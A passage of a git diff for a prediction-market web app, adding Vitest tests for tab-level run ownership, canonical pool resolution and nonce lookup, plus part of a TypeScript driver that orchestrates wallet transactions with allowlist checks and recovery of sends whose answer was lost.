afterEach(() => { + vi.useRealTimers(); + }); + + it.each([ + ["the lock request is refused", refusingLocks], + ["there is no Web Locks API", null], + ])("lets one tab at a time hold a run when %s", async (_case, locks) => { + const { storage } = sharedStorage(); + const [a, b] = [createRunOwnership(locks, { storage }), createRunOwnership(locks, { storage })]; + + const release = await a.claim(FLOW); + expect(release).toEqual(expect.any(Function)); + await expect(b.claim(FLOW)).resolves.toBeNull(); + await expect(b.heldElsewhere(FLOW)).resolves.toBe(true); + await expect(a.heldElsewhere(FLOW)).resolves.toBe(false); + expect(a.heldHere(FLOW)).toBe(true); + expect(b.heldHere(FLOW)).toBe(false); + + release!(); + expect(a.heldHere(FLOW)).toBe(false); + await expect(b.heldElsewhere(FLOW)).resolves.toBe(false); + await expect(b.claim(FLOW)).resolves.toEqual(expect.any(Function)); + }); + + it("renews the lease while held, so a tab that stays open keeps the run past the lease's term", async () => { + vi.useFakeTimers(); + const { storage } = sharedStorage(); + const [a, b] = [createRunOwnership(null, { storage }), createRunOwnership(null, { storage })]; + + await a.claim(FLOW); + await vi.advanceTimersByTimeAsync(5 * 60_000); + + await expect(b.claim(FLOW)).resolves.toBeNull(); + await expect(b.heldElsewhere(FLOW)).resolves.toBe(true); + }); + + it("lets another tab take a lease that ran out unrenewed", async () => { + const { storage, items } = sharedStorage(); + items.set(LEASE, JSON.stringify({ owner: "closed-tab", expiresAt: Date.now() - 1 })); + const ownership = createRunOwnership(null, { storage }); + + await expect(ownership.heldElsewhere(FLOW)).resolves.toBe(false); + await expect(ownership.claim(FLOW)).resolves.toEqual(expect.any(Function)); + expect(JSON.parse(items.get(LEASE)!).owner).not.toBe("closed-tab"); + }); + + it("leaves a lease that has not run out to the tab holding it", async () => { + const { storage, items } = sharedStorage(); + items.set(LEASE, JSON.stringify({ owner: "open-tab", expiresAt: Date.now() + 60_000 })); + const ownership = createRunOwnership(null, { storage }); + + await expect(ownership.claim(FLOW)).resolves.toBeNull(); + await expect(ownership.heldElsewhere(FLOW)).resolves.toBe(true); + }); + + it("gives the lease up when the page is hidden for unload", async () => { + const { storage, items } = sharedStorage(); + const page = new EventTarget(); + await createRunOwnership(null, { storage, page }).claim(FLOW); + expect(items.has(LEASE)).toBe(true); + + page.dispatchEvent(new Event("pagehide")); + + expect(items.has(LEASE)).toBe(false); + await expect(createRunOwnership(null, { storage }).heldElsewhere(FLOW)).resolves.toBe(false); + }); + + it("keeps a tab with working locks off a run another tab holds by lease", async () => { + const { storage } = sharedStorage(); + await createRunOwnership(refusingLocks, { storage }).claim(FLOW); + const withLocks = createRunOwnership(fakeLocks().locks, { storage }); + + await expect(withLocks.claim(FLOW)).resolves.toBeNull(); + await expect(withLocks.heldElsewhere(FLOW)).resolves.toBe(true); + }); + + it("refuses the run and reports it held elsewhere when storage cannot be read either", async () => { + const broken: LeaseStorage = { + getItem: () => { + throw new DOMException("denied", "SecurityError"); + }, + setItem: () => { + throw new DOMException("denied", "SecurityError"); + }, + removeItem: () => { + throw new DOMException("denied", "SecurityError"); + }, + }; + + for (const ownership of [createRunOwnership(refusingLocks, { storage: broken }), createRunOwnership(null)]) { + await expect(ownership.claim(FLOW)).resolves.toBeNull(); + await expect(ownership.heldElsewhere(FLOW)).resolves.toBe(true); + } + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/reader.canonicalPools.test.ts b/apps/web/src/features/predict/run/__tests__/reader.canonicalPools.test.ts new file mode 100644 index 00000000..9bc424a1 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/reader.canonicalPools.test.ts @@ -0,0 +1,151 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { + decodeFunctionData, + encodeFunctionData, + type Address, + type Hash, + type PublicClient, + type TransactionReceipt, +} from "viem"; +import { expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeReader, snapshot, WAD } from "@/features/predict/flow/__tests__/support/fakes"; +import { createPredictRun } from "@/features/predict/run/driver"; +import { createPredictReader } from "@/features/predict/run/reader"; +import { previewTrades } from "@/features/predict/utils/plan"; +import { priceFromSqrtPriceX96, sqrtPriceX96FromPrice } from "@/features/predict/utils/poolMath"; + +import { fetchGraphql } from "@/lib/graphql/batcher"; +import { ALGEBRA_ROUTER_ABI } from "@/lib/swap/algebraRouter"; +import { createLensQuoter } from "@/lib/swap/lens"; +import { executorAddress } from "@/lib/trade-executor/executor"; + +import { tradeExecutorAbi } from "@/config/contracts"; + +vi.mock("@/config/chains", () => ({ DEFAULT_CHAIN_ID: 100 })); +vi.mock("@/lib/graphql/batcher", () => ({ fetchGraphql: vi.fn() })); +const lensAnswer = vi.hoisted(() => vi.fn()); +vi.mock("@seer-pm/lens/client", () => ({ + Lens: class { + quote = lensAnswer; + }, +})); + +it("resolves canonical pools and preserves the reviewed cap despite forged indexed orientation", async () => { + const childMarket = "0x1111111111111111111111111111111111111111" as Address; + const upToken = "0x2222222222222222222222222222222222222222" as Address; + const underlying = "0x3333333333333333333333333333333333333333" as Address; + const downToken = "0x4444444444444444444444444444444444444444" as Address; + const invalidToken = "0x5555555555555555555555555555555555555555" as Address; + const canonicalUp = "0x8888888888888888888888888888888888888888" as Address; + const otherPool = "0x6666666666666666666666666666666666666666" as Address; + const downPool = "0x7777777777777777777777777777777777777777" as Address; + const executor = executorAddress(addresses.factory, addresses.owner); + const option = { childMarket, upToken, underlying, downToken, invalidToken, targetPriceWad: WAD / 2n }; + expect(BigInt(upToken) < BigInt(underlying)).toBe(true); + vi.mocked(fetchGraphql).mockResolvedValue({ + Pool: [ + { id: otherPool, childMarket_id: childMarket, outcomeIndex: 1, outcomeIsToken0: false }, + { id: downPool, childMarket_id: childMarket, outcomeIndex: 0, outcomeIsToken0: false }, + ], + }); + const readContract = vi.fn( + async ({ address, functionName, args }: { address: Address; functionName: string; args?: readonly Address[] }) => { + if (functionName === "poolByPair") return args?.includes(upToken) ? canonicalUp : downPool; + if (functionName === "token0") return address === canonicalUp ? upToken : underlying; + if (functionName === "token1") return address === canonicalUp ? underlying : downToken; + if (functionName === "balanceOf") return 0n; + if (functionName === "liquidity") return WAD; + if (functionName === "globalState") + return [ + address === otherPool + ? 2n ** 97n + : address === canonicalUp + ? sqrtPriceX96FromPrice(WAD / 4n, true) + : sqrtPriceX96FromPrice(WAD / 2n, false), + 0, + 0, + 0, + 0, + 0, + true, + ]; + throw new Error(`unexpected read ${functionName}`); + }, + ); + const client = { + readContract, + multicall: async ({ contracts }: { contracts: unknown[] }) => contracts.map(() => 0n), + } as unknown as PublicClient; + const chainReader = createPredictReader({ client, sessionId: "1", collateral: addresses.collateral }); + const reader = { ...fakeReader({ deployed: true }), optionStates: chainReader.optionStates }; + const [state] = await reader.optionStates({ options: [option], executor }); + const shown = previewTrades( + { pools: state!.pools, targetPriceWad: option.targetPriceWad, held: state!.held, splitAmount: WAD }, + 100, + )!; + expect(shown).not.toBeNull(); + lensAnswer.mockImplementation( + async (request: { tokenIn: Address; tokenOut: Address; recipient: Address; amount: bigint; deadline: bigint }) => ({ + amountIn: request.amount, + amountOut: request.amount * 10n, + target: addresses.swapRouter, + msgValue: 0n, + data: encodeFunctionData({ + abi: ALGEBRA_ROUTER_ABI, + functionName: "exactInputSingle", + args: [ + { + tokenIn: request.tokenIn, + tokenOut: request.tokenOut, + recipient: request.recipient, + amountIn: request.amount, + deadline: request.deadline, + amountOutMinimum: 0n, + limitSqrtPrice: 0n, + }, + ], + }), + }), + ); + const sends: FlowTx[] = []; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 1n, logs: [] }) as unknown as TransactionReceipt; + const gateway: TxGateway = { + sendTransaction: async (tx) => { + sends.push(tx); + return `0x${sends.length.toString().padStart(64, "0")}` as Hash; + }, + waitForReceipt: async ({ hash }) => receipt(hash), + getReceipt: async (hash) => receipt(hash), + isKnown: async () => true, + }; + const driver = createPredictRun({ + gateway, + reader, + quoter: createLensQuoter(client, 100, async () => 0n), + flowId: "verified-orientation", + store: createFlowRunStore({ storage: createMemoryStorage() }), + ctx: () => ctx({ executor }), + snapshot: () => snapshot({ options: [option] }), + }); + try { + driver.start({ plans: { [childMarket]: shown } }); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + const batch = decodeFunctionData({ abi: tradeExecutorAbi, data: sends.at(-1)!.data! }); + expect(batch.functionName).toBe("batchExecute"); + const swapCall = (batch.args![0] as readonly { to: Address; data: `0x${string}` }[]).find( + (call) => call.to.toLowerCase() === addresses.swapRouter.toLowerCase(), + )!; + const [swap] = decodeFunctionData({ abi: ALGEBRA_ROUTER_ABI, data: swapCall.data }).args; + expect(swap.tokenIn).toBe(underlying); + expect(swap.tokenOut).toBe(upToken); + const signedCap = priceFromSqrtPriceX96(swap.limitSqrtPrice, true); + expect(signedCap).toBeLessThanOrEqual(option.targetPriceWad); + expect(option.targetPriceWad - signedCap).toBeLessThan(2n); + expect(readContract.mock.calls.some(([call]) => call.address === otherPool)).toBe(false); + expect(readContract.mock.calls.filter(([call]) => call.functionName === "poolByPair")).toHaveLength(2); + } finally { + driver.dispose(); + } +}); diff --git a/apps/web/src/features/predict/run/__tests__/reader.sentWithNonce.test.ts b/apps/web/src/features/predict/run/__tests__/reader.sentWithNonce.test.ts new file mode 100644 index 00000000..7c39358f --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/reader.sentWithNonce.test.ts @@ -0,0 +1,130 @@ +import type { Address, Hash, PublicClient } from "viem"; +import { describe, expect, it, vi } from "vitest"; + +import { createPredictReader } from "../reader"; + +// the indexer's client reads the app's environment, and no nonce read goes near it +vi.mock("../../api/getOptionPools", () => ({ fetchSessionPools: vi.fn(), optionPoolRefs: vi.fn() })); + +const OWNER = "0x0000000000000000000000000000000000000001" as Address; +const TARGET = "0x0000000000000000000000000000000000000002" as Address; + +/** A chain of `head` blocks where the owner's nonces are mined at the blocks `minedAt` gives. */ +function chainClient(head: bigint, minedAt: Record) { + const blocksRead: bigint[] = []; + const countAt = (block: bigint) => Object.values(minedAt).filter((at) => at <= block).length; + const client = { + getTransactionCount: ({ blockTag, blockNumber }: { blockTag?: string; blockNumber?: bigint }) => + Promise.resolve(countAt(blockNumber ?? (blockTag === "pending" || blockTag === "latest" ? head : head))), + getBlockNumber: () => Promise.resolve(head), + getBlock: ({ blockNumber }: { blockNumber: bigint }) => { + blocksRead.push(blockNumber); + const transactions = Object.entries(minedAt) + .filter(([, at]) => at === blockNumber) + .map(([nonce]) => ({ + from: OWNER, + nonce: Number(nonce), + to: TARGET, + value: 0n, + input: "0x", + hash: `0x${nonce.padStart(64, "0")}` as Hash, + })); + return Promise.resolve({ number: blockNumber, transactions }); + }, + getTransactionReceipt: () => Promise.resolve({ status: "success" }), + }; + return { client: client as unknown as PublicClient, blocksRead }; +} + +describe("createPredictReader's sentWithNonce", () => { + it("finds a nonce mined a day back without reading every block since", async () => { + const fromBlock = 1_000n; + const { client, blocksRead } = chainClient(fromBlock + 17_280n, { + 0: 10n, + 1: 20n, + 2: 30n, + 3: 40n, + 4: 900n, + 5: fromBlock + 2n, + }); + const reader = createPredictReader({ client, sessionId: "1", collateral: TARGET }); + + const found = await reader.sentWithNonce({ owner: OWNER, nonce: 5, fromBlock }); + + expect(found).toMatchObject({ status: "mined", to: TARGET, success: true }); + expect(blocksRead).toEqual([fromBlock + 2n]); + }); + + it("still finds it on a node that keeps no past state, block by block", async () => { + const { client, blocksRead } = chainClient(1_010n, { 0: 10n, 1: 1_004n }); + const pruned = { + ...client, + getTransactionCount: (args: { blockNumber?: bigint }) => + args.blockNumber === undefined + ? client.getTransactionCount(args as never) + : Promise.reject(new Error("missing trie node")), + } as unknown as PublicClient; + const reader = createPredictReader({ client: pruned, sessionId: "1", collateral: TARGET }); + + expect(await reader.sentWithNonce({ owner: OWNER, nonce: 1, fromBlock: 1_000n })).toMatchObject({ + status: "mined", + }); + expect(blocksRead.at(-1)).toBe(1_004n); + }); + + it("calls a nonce mined before the run's first block taken", async () => { + const { client } = chainClient(2_000n, { 0: 10n, 1: 999n }); + const reader = createPredictReader({ client, sessionId: "1", collateral: TARGET }); + + expect(await reader.sentWithNonce({ owner: OWNER, nonce: 1, fromBlock: 1_000n })).toEqual({ status: "taken" }); + }); +}); + +describe("createPredictReader's nonce reads through the wallet's provider", () => { + const walletCounts = (latest: number, pending: number) => + vi.fn((_owner: Address, blockTag: "latest" | "pending") => + Promise.resolve(blockTag === "latest" ? latest : pending), + ); + + it("reads the next nonce from the wallet's node when it has one", async () => { + const { client } = chainClient(100n, { 0: 10n }); + const walletNonce = walletCounts(1, 3); + const reader = createPredictReader({ client, sessionId: "1", collateral: TARGET, walletNonce }); + + expect(await reader.nextNonce(OWNER)).toBe(3); + expect(walletNonce).toHaveBeenCalledWith(OWNER, "pending"); + }); + + it("sees a send pending on the wallet's node that the app's node does not know", async () => { + const { client } = chainClient(100n, { 0: 10n }); + const reader = createPredictReader({ client, sessionId: "1", collateral: TARGET, walletNonce: walletCounts(1, 2) }); + + expect(await reader.sentWithNonce({ owner: OWNER, nonce: 1, fromBlock: 50n })).toEqual({ status: "pending" }); + expect(await reader.hasPending(OWNER)).toBe(true); + }); + + it("calls a nonce the wallet's node has mined, but the app's node has not reached, pending rather than taken", async () => { + const { client } = chainClient(100n, { 0: 10n }); + const reader = createPredictReader({ client, sessionId: "1", collateral: TARGET, walletNonce: walletCounts(2, 2) }); + + expect(await reader.sentWithNonce({ owner: OWNER, nonce: 1, fromBlock: 50n })).toEqual({ status: "pending" }); + }); + + it("counts what the app's node has mined when the wallet's node is behind it", async () => { + const { client } = chainClient(100n, { 0: 10n, 1: 60n }); + const reader = createPredictReader({ client, sessionId: "1", collateral: TARGET, walletNonce: walletCounts(1, 1) }); + + expect(await reader.nextNonce(OWNER)).toBe(2); + expect(await reader.sentWithNonce({ owner: OWNER, nonce: 1, fromBlock: 50n })).toMatchObject({ status: "mined" }); + expect(await reader.hasPending(OWNER)).toBe(false); + }); + + it("reads from the app's node when the wallet's read fails", async () => { + const { client } = chainClient(100n, { 0: 10n }); + const walletNonce = vi.fn(() => Promise.reject(new Error("method not supported"))); + const reader = createPredictReader({ client, sessionId: "1", collateral: TARGET, walletNonce }); + + expect(await reader.nextNonce(OWNER)).toBe(1); + expect(await reader.sentWithNonce({ owner: OWNER, nonce: 1, fromBlock: 50n })).toEqual({ status: "none" }); + }); +}); diff --git a/apps/web/src/features/predict/run/driver.ts b/apps/web/src/features/predict/run/driver.ts new file mode 100644 index 00000000..b56e10e6 --- /dev/null +++ b/apps/web/src/features/predict/run/driver.ts @@ -0,0 +1,1183 @@ +"use client"; + +import { + classifyTxError, + createTxOrchestrator, + currentEntry, + DEFAULT_RUN_TTL_MS, + isUserRejection, + settledEntries, + StorageWriteError, + type FlowError, + type FlowRunStore, + type OrchestratorRun, + type PersistedFlowRun, + type StepOutcome, + type StepSummary, + type TxGateway, + type TxStep, +} from "@foresight/tx-orchestrator"; +import type { Address, Hash } from "viem"; + +import { chainText, OUT_OF_FUNDS, REVERTS } from "@/utils/txErrorText"; + +import type { ExactInputQuoter, SwapQuoter } from "@/lib/swap/types"; + +import type { CreditsRoute } from "@/config/contracts"; + +import { hasUnanswered } from "./interrupted"; +import type { RunOwnership } from "./ownership"; +import type { PredictDriver, PredictFailureReason, PredictProgress, PredictStepRow } from "./types"; +import { assertListed, sessionTokensOf, UnlistedTxError } from "../flow/allowed"; +import { + assertRoutes, + AtEstimatesError, + createPredictHooks, + CreditsUnavailableError, + depositMintPatch, + heldMoves, + isTx, + NoRouteError, + planPredict, + PlansMovedError, + PredictConfigError, + QuoteFailedError, + sizeBatches, + STEP_ID, + tradeWalletShare, + TxPendingError, + type PredictDeps, +} from "../flow/plan"; +import type { + HeldTo, + MovedPlans, + PlannedRequest, + PredictCtx, + PredictOption, + PredictReader, + PredictRequest, + PredictSlippage, + PredictSnapshot, + SentTx, + UnansweredSend, +} from "../flow/types"; + +/** An option's market and the tokens a run approves and swaps for it. */ +export type OptionTokens = Omit; + +/** The trade wallet, or the wallet's credits, hold less than the prediction was shown to draw on. */ +class TradeWalletShortError extends Error {} + +/** The chain's clock has passed the session's close. */ +class SessionClosedError extends Error {} + +/** How long, and how often, the chain is read for a send whose answer was lost before the run halts. */ +const UNANSWERED_SEND = { waitMs: 120_000, pollMs: 2_000 }; + +/** A held send whose nonce stays unused this long, in ms, is signed again only once the visitor says so. */ +export const SEND_HOLD_MS = 600_000; + +/** A held send's nonce reads unused within its hold; nothing is signed for its step meanwhile. */ +class HeldSendError extends Error {} + +/** A held send's nonce stayed unused past its hold; the visitor is asked before its step is signed again. */ +class SignAgainError extends Error {} + +const TRANSPORT_FAILURES = new Set(["TimeoutError", "HttpRequestError"]); + +/** + * Raised by viem or wagmi before the request reaches the wallet. Provider codes (4100, 4900, 4901) + * are left out: a wallet can answer one after it broadcast, e.g. a WalletConnect session dropping. + */ +const NOT_SENT_NAMES: Record = { + ChainMismatchError: "wrong-chain", + ConnectorChainMismatchError: "wrong-chain", + AccountNotFoundError: "wrong-wallet", + ConnectorNotConnectedError: "wrong-wallet", + ConnectorNotFoundError: "wrong-wallet", + ConnectorAccountNotFoundError: "wrong-wallet", + ConnectorUnavailableReconnectingError: "wrong-wallet", +}; + +/** Why the wallet was never asked for the send, where the client says so; nothing went out. */ +function notSent(error: unknown): "wrong-chain" | "wrong-wallet" | undefined { + let link: unknown = error; + for (let depth = 0; typeof link === "object" && link !== null && depth < 10; depth++) { + const { name, cause } = link as { name?: unknown; cause?: unknown }; + if (typeof name === "string" && Object.hasOwn(NOT_SENT_NAMES, name)) return NOT_SENT_NAMES[name]; + link = cause; + } + return undefined; +} + +/** The request timed out or never reached the node, so the transaction may have gone out. */ +function unanswered(error: unknown): boolean { + let link: unknown = error; + for (let depth = 0; typeof link === "object" && link !== null && depth < 10; depth++) { + const { name, code, cause } = link as { name?: unknown; code?: unknown; cause?: unknown }; + // a JSON-RPC error code is the node's answer + if (typeof code === "number") return false; + if (typeof name === "string" && TRANSPORT_FAILURES.has(name)) return true; + link = cause; + } + return false; +} + +/** `promise`, or an AbortError once `signal` aborts, whichever comes first. */ +function unlessAborted(promise: Promise, signal: AbortSignal | undefined): Promise { + if (!signal) return promise; + return new Promise((resolve, reject) => { + const abort = () => reject(new DOMException("The run was disposed.", "AbortError")); + if (signal.aborted) abort(); + signal.addEventListener("abort", abort, { once: true }); + promise.then(resolve, reject).finally(() => signal.removeEventListener("abort", abort)); + }); +} + +const sleep = (ms: number, signal?: AbortSignal) => + new Promise((resolve) => { + const timer = setTimeout(resolve, ms); + signal?.addEventListener("abort", () => (clearTimeout(timer), resolve()), { once: true }); + }); + +const sameSlippage = (a: PredictSlippage, b: PredictSlippage) => + a.tradeBps === b.tradeBps && a.creditsBps === b.creditsBps; + +const sameAddress = (a: unknown, b: Address | null) => + b === null ? a === null : typeof a === "string" && a.toLowerCase() === b.toLowerCase(); + +/** True when every contract a saved run would sign against is the one the app names now. */ +function sameContracts(saved: PredictCtx, current: PredictCtx): boolean { + const pairs: Array<[unknown, Address | null]> = [ + [saved.executor, current.executor], + [saved.factory, current.factory], + [saved.router, current.router], + [saved.collateral, current.collateral], + [saved.parentMarket, current.parentMarket], + [saved.sDaiAdapter, current.sDaiAdapter], + ]; + const savedCredits: Partial | null | undefined = saved.credits; + if (current.credits === null) { + if (savedCredits !== null) return false; + } else { + if (!savedCredits) return false; + for (const key of ["token", "manager", "wxdai", "swaprRouter"] as const) { + pairs.push([savedCredits[key], current.credits[key]]); + } + } + return pairs.every(([a, b]) => sameAddress(a, b)); +} + +/** True when every saved option names the market and tokens the session has for it. */ +function sameOptions(saved: readonly PredictOption[], session: readonly OptionTokens[]): boolean { + return saved.every((option) => { + const known = session.find((each) => sameAddress(option.childMarket, each.childMarket)); + return ( + known !== undefined && + (["underlying", "upToken", "downToken", "invalidToken"] as const).every((key) => + sameAddress(option[key], known[key]), + ) + ); + }); +} + +/** Why a saved run cannot be continued from the connected wallet, if it cannot. */ +function foreign(saved: PredictCtx, current: PredictCtx): "wrong-wallet" | "wrong-chain" | "unknown" | undefined { + if (String(saved.owner).toLowerCase() !== current.owner.toLowerCase()) return "wrong-wallet"; + if (saved.chainId !== current.chainId) return "wrong-chain"; + if (!sameContracts(saved, current)) return "unknown"; + return undefined; +} + +/** The nonce read for `send` went to another of the owner's transactions; the wallet may have sent it under a later one. */ +const takenElsewhere = (found: SentTx, send: UnansweredSend) => + found.status === "taken" || (found.status === "mined" && !isTx(found, send.tx)); + +/** Later nonces searched for a send whose own was taken: the owner's sends made while its prompt was open. */ +const NONCE_LOOKAHEAD = 8; + +/** Drives one prediction: the orchestrator's run, flattened into what the popup reads. */ +export function createPredictRun(args: { + gateway: TxGateway; + reader: PredictReader; + quoter: SwapQuoter; + creditsQuoter?: ExactInputQuoter; + /** Keyed per chain, owner and session, so no two runs share a stored record. */ + flowId: string; + ctx: () => PredictCtx; + snapshot: () => PredictRequest; + /** The visitor's slippage settings now; a held run's retry takes them up. */ + slippage?: () => PredictSlippage | undefined; + store?: FlowRunStore; + onComplete?: () => void; + now?: () => number; + /** How long, and how often, the chain is read for a send whose answer was lost. */ + unansweredSend?: { waitMs: number; pollMs: number }; + /** Which tab drives the stored run; without it this driver takes it as its own. */ + ownership?: RunOwnership; + /** When the session stops trading, in unix seconds; nothing is signed once the chain's clock reaches it. */ + closesAt?: number | null; + /** Every option of the session, which a stored run's options must match before it is restored. */ + sessionOptions?: () => readonly OptionTokens[]; +}): PredictDriver { + const listeners = new Set<() => void>(); + /** Options left out by each batch not yet settled, by step id; a settled batch's are kept in the run's snapshot. */ + const leavingOut = new Map(); + let failure: PredictProgress["failure"]; + let retryFailed: (() => void) | undefined; + let planned: PredictStepRow[] = []; + /** Set while the routes are checked, before the orchestrator has a run; reset and dispose clear it. */ + let checking: object | undefined; + /** The reason a step failed with, which the orchestrator's own causes cannot carry. */ + let buildFailure: + | "no-route" + | "at-estimates" + | "quote" + | "funds" + | "credits" + | "pending" + | "closed" + | "unlisted" + | "storage" + | "held" + | "resign" + | "wrong-chain" + | "wrong-wallet" + | undefined; + /** Set while a sent transaction's outcome is read from the chain; the run itself stays stopped meanwhile. */ + let reconciling = false; + let discarding = false; + let disposeAfterDiscard = false; + /** Set once a stored run is restored, until it is thrown away: the popup shows its snapshot, not the form. */ + let recovered = false; + /** A restored run, reconciled, waiting for the visitor to resume it. */ + let reviewing = false; + let inconsistentSteps = false; + /** Set once this run sends a transaction that moves money; a failed step put back to pending does not clear it. */ + let moneyMoved = false; + /** Set while the chain is read for a send that errored. */ + let awaitingUnanswered = false; + /** The step whose held send the visitor said to sign again; its nonce is read once more before it is let go. */ + let signAgainFor: string | undefined; + /** What the run is held to; none for a recovered run. */ + let held: HeldTo | undefined; + /** Set when a batch found the pools giving another plan than `held`; cleared by `confirm` and `reset`. */ + let moved: MovedPlans | undefined; + /** A batch's moved plans, from its build's error to the pause it causes. */ + let movedByBuild: MovedPlans | undefined; + /** Slippage a retry took up, stored with the run only once `confirm` accepts the plans it gives. */ + let pendingSlippage: PredictSlippage | undefined; + /** Set once this tab holds the stored run; until then nothing here restores, signs or trashes it. */ + let owned = !args.ownership; + let release: (() => void) | undefined; + /** The claim waiting on the lock's answer; reset and dispose drop it, and its answer is let go unless re-asked. */ + let claiming: { answer: Promise<(() => void) | null> } | undefined; + /** The lock's answer while it is unread; a claim made meanwhile waits on it rather than ask again and be refused. */ + let asked: Promise<(() => void) | null> | undefined; + /** Wallet requests not yet answered; this tab keeps the run until each is, whatever happens to the popup. */ + const walletRequests = new Set>(); + let cached: PredictProgress; + + const deps: PredictDeps = { + reader: args.reader, + quoter: args.quoter, + creditsQuoter: args.creditsQuoter, + heldTo: () => held, + onLeftOut: (option, _reason, stepId) => { + const left = leavingOut.get(stepId) ?? []; + if (!left.includes(option.childMarket)) leavingOut.set(stepId, [...left, option.childMarket]); + }, + }; + + const waiting = { ...UNANSWERED_SEND, ...args.unansweredSend }; + const now = args.now ?? Date.now; + + /** + * How `send` ended, under the nonce read for it or, where another send took that, a later one. `taken` means + * its own nonce went to another transaction and none after it holds this one. + */ + const nonceSearch = new WeakMap(); + async function sentAs(send: UnansweredSend): Promise { + const start = nonceSearch.get(send) ?? send.nonce; + for (let nonce = start; nonce < start + NONCE_LOOKAHEAD; nonce++) { + const found = await args.reader.sentWithNonce({ ...send, nonce }); + if (takenElsewhere(found, send)) { + nonceSearch.set(send, nonce + 1); + continue; + } + return found.status === "none" && nonce > send.nonce ? { status: "taken" } : found; + } + return { status: "pending" }; + } + + /** True while `send`'s hold runs; a record stored with no time compares false and is asked about. */ + const holding = (send: UnansweredSend) => now() - send.heldAt < SEND_HOLD_MS; + + /** How `send` ended as read until `waitMs` runs out or it mines; unread reads as pending. */ + async function answerOf(send: UnansweredSend, waitMs: number, signal?: AbortSignal): Promise { + const deadline = Date.now() + waitMs; + let found: SentTx = { status: "pending" }; + while (!signal?.aborted) { + found = (await sentAs(send).catch(() => undefined)) ?? found; + if (found.status === "mined" || Date.now() >= deadline) break; + await sleep(waiting.pollMs, signal); + } + return found; + } + + /** Stores `send` with the run, so neither a reset nor a reload forgets it before its nonce is read. */ + function holdUnanswered(stepId: string, send: UnansweredSend) { + orchestrator.updateSnapshot((prev) => ({ ...prev, unanswered: { ...prev.unanswered, [stepId]: send } }), { + source: "adapter", + durable: true, + }); + } + + /** `prev` without `stepId`'s entry in `key`, the map dropped once it is empty. */ + function without(prev: PredictSnapshot, key: "unanswered" | "sent", stepId: string): PredictSnapshot { + const { [stepId]: _settled, ...rest } = prev[key] ?? {}; + const { [key]: _all, ...others } = prev; + return Object.keys(rest).length > 0 ? { ...others, [key]: rest } : others; + } + + function forgetUnanswered(stepId: string) { + if (!orchestrator.getRun()?.snapshot.unanswered?.[stepId]) return; + orchestrator.updateSnapshot((prev) => without(prev, "unanswered", stepId), { source: "adapter" }); + } + + function forgetSent(stepId: string) { + if (!orchestrator.getRun()?.snapshot.sent?.[stepId]) return; + orchestrator.updateSnapshot((prev) => without(prev, "sent", stepId), { source: "adapter" }); + } + + /** The wallet's send, carried on with the chain's own record of it when the send errors. */ + const gateway: TxGateway = { + ...args.gateway, + async sendTransaction(tx, options) { + const run = orchestrator.getRun(); + const stepId = run ? currentEntry(run.steps)?.stepId : undefined; + if (!run || stepId === undefined) throw new UnlistedTxError(["no run to check it against"]); + assertListed({ + tx, + ctx: run.ctx, + sessionTokens: sessionTokensOf(run.ctx, run.snapshot.options), + from: args.ctx().owner, + }); + + const owner = run.ctx.owner; + const [nonce, fromBlock] = await Promise.all([args.reader.nextNonce(owner), args.reader.latestBlock()]); + // the build's reads and quotes can outlast the close; this is the last check before the wallet opens + await assertOpen(); + const send: UnansweredSend = { owner, nonce, fromBlock, tx, heldAt: now() }; + // held before the wallet opens: a prompt approved after the tab closed has no hash stored to find it by + try { + holdUnanswered(stepId, send); + } catch (error) { + if (error instanceof StorageWriteError) forgetUnanswered(stepId); + throw error; + } + // the wallet's prompt outlives the run, so it is sent with no signal to drop it + const request = args.gateway.sendTransaction(tx); + walletRequests.add(request); + void request.then( + () => walletRequests.delete(request), + () => walletRequests.delete(request), + ); + try { + return await unlessAborted(request, options?.signal); + } catch (error) { + // a disposed run keeps the send for whichever driver recovers it + if (options?.signal?.aborted) throw error; + // a coded wallet error can still follow a broadcast; a decline, a wallet never asked, or a node naming why it refused, did not + const text = chainText(error); + if (isUserRejection(error) || notSent(error) || OUT_OF_FUNDS.test(text) || REVERTS.test(text)) { + forgetUnanswered(stepId); + throw error; + } + // a lost answer is read until the wait runs out; a coded one is read once + awaitingUnanswered = true; + notify(); + const found = await answerOf(send, unanswered(error) ? waiting.waitMs : 0, options?.signal).finally(() => { + awaitingUnanswered = false; + }); + if (found.status === "mined") return found.hash; + if (found.status === "taken") { + forgetUnanswered(stepId); + throw error; + } + if (stepId !== STEP_ID.createExecutor) moneyMoved = true; + throw found.status === "pending" ? new TxPendingError() : new HeldSendError(); + } + }, + }; + + /** Throws once the chain's clock has reached the session's close. */ + async function assertOpen() { + if (args.closesAt == null) return; + if ((await args.reader.latestTimestamp()) >= BigInt(args.closesAt)) throw new SessionClosedError(); + } + + const sessionClosed = () => + assertOpen().then( + () => false, + (error: unknown) => { + if (error instanceof SessionClosedError) return true; + throw error; + }, + ); + + /** Each step first reads how its errored send ended, and is built only while the session is open. */ + function guardedSteps(steps: TxStep[]): TxStep[] { + return steps.map((step) => ({ + ...step, + build: async (ctx, snap) => { + await assertOpen(); + return step.build(ctx, snap); + }, + canSkip: async (ctx, snap) => { + const answered = signAgainFor === step.id; + if (answered) signAgainFor = undefined; + const send = snap.unanswered?.[step.id]; + if (send) { + const found = await sentAs(send); + if (found.status === "pending") throw new TxPendingError(); + // forgotten once the skip is stored, so no record holds the step pending without it + if (found.status === "mined" && found.success) return true; + if (found.status === "none") { + if (holding(send)) throw new HeldSendError(); + if (!answered) throw new SignAgainError(); + } + forgetUnanswered(step.id); + } + return step.canSkip ? step.canSkip(ctx, snap) : false; + }, + })); + } + + const hooks = createPredictHooks({ + reader: args.reader, + takeLeftOut: (stepId) => { + const left = leavingOut.get(stepId) ?? []; + leavingOut.delete(stepId); + return left; + }, + }); + + const orchestrator = createTxOrchestrator({ + adapterId: "predict-flow", + gateway, + hooks, + store: args.store, + now: args.now, + // A build reads the chain and the indexer before it signs anything. Those failures are + // transient and leave nothing behind, so they pause for a retry rather than ending the run. + // A missing route is fatal to the orchestrator and a failed quote pauses it. + classifyError: (error) => { + if (error instanceof StorageWriteError) { + buildFailure = "storage"; + return "rpc"; + } + if (error instanceof SessionClosedError) { + buildFailure = "closed"; + return "unknown"; + } 